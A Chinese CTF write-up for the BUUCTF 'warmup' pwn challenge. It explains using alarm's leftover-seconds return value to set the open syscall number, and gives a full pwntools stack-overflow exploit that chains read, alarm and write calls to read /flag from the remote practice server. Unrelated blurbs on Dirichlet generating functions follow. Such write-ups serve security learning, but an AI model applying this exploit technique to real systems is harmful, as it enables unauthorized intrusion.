warmup alarm函式的利用)

2022-09-19 21:06:09 字數 1518 閱讀 8428

又是乙個小技巧!

例行檢查我就不放了

這道題沒有got表,所有的函式實現都是由系統呼叫的方式去實現的,

看到題目的第一時間就想到了通過open read write的方式去獲得flag

但是題目環境中確少了open這個函式

這裡就不得不提alarm函式的妙用了

當第一次呼叫alarm函式的時候,會進行時間判斷,然後再呼叫alarm函式後會停止,然後把剩餘的引數返回到rax中

也就是說題目中alarm是10秒,我們等過了五秒後在呼叫alarm函式後,就能讓rax為5

從而可以去實現open函式

(21條訊息) linux32位系統呼叫號——奇偶排列**方便查詢_hollk』s blog-csdn部落格

不是特別熟悉系統呼叫號的師傅,推薦hollk師傅的部落格

那麼完整exp如下:

from pwn import *

#p = process('./warmup')

p = remote('node4.buuoj.cn',26779)

alarm = 0x0804810d

read = 0x0804811d

addr = 0x080491bc

func = 0x0804815a

write = 0x08048135

mov_int80 = 0x08048122

#write flag

p.recvuntil('2016!')

payload = cyclic(0x20)+p32(read)+p32(func)

payload += p32(0)+p32(addr)+p32(0x8)

p.send(payload)

p.send(b'/flag'.ljust(0x8,b'\x00'))

#open flag

p.recvuntil("!")

sleep(5)

payload1 = cyclic(0x20)+p32(alarm)+p32(mov_int80)

payload1 += p32(func)+p32(addr)+p32(0)

p.send(payload1)

#read flag

p.recvuntil("!")

payload2 = cyclic(0x20)+p32(read)+p32(func)

payload2 += p32(3)+p32(addr)+p32(0x50)

p.send(payload2)

#write flag

p.recvuntil("!")

payload3 = cyclic(0x20)+p32(write)+p32(func)

payload3 += p32(1)+p32(addr)+p32(0x50)

p.send(payload3)

p.interactive()

結束!

狄利克雷生成函式

本篇討論的所有函式都是積性函式。若 f 為 dgf,則 f left s right 簡寫作 f 定義對於乙個數論函式,設在 i 處的點值為 f i 則定義它的狄利克雷生成函式 dgf dirichlet generating function 為 f left s right sum limits...

迪利克雷生成函式

對於數列 定義 f 的 dirichlet 生成函式 rm dgf 為 f z sum frac 不難發現 f cdot g z 為 f cdot g z sum fracf dg 對於 dirichlet 卷積意義下的單位元 epsilon 其 dgf 為 epsilon z 1 同時,我們定義的...

數論函式 狄利克雷卷積

開坑卷積 這裡說一下莫比烏斯函式的定義 定義兩個函式 f n g n 的狄利克雷卷積 為 f g n d nf d g nd 滿足交換律,結合律,分配律以及 f e f 都挺顯然的。這定義也是夠奇怪了,然後就可以搞很多事情 d n d n1 d 1 nd 1 1 n n d nid d 1 nd i...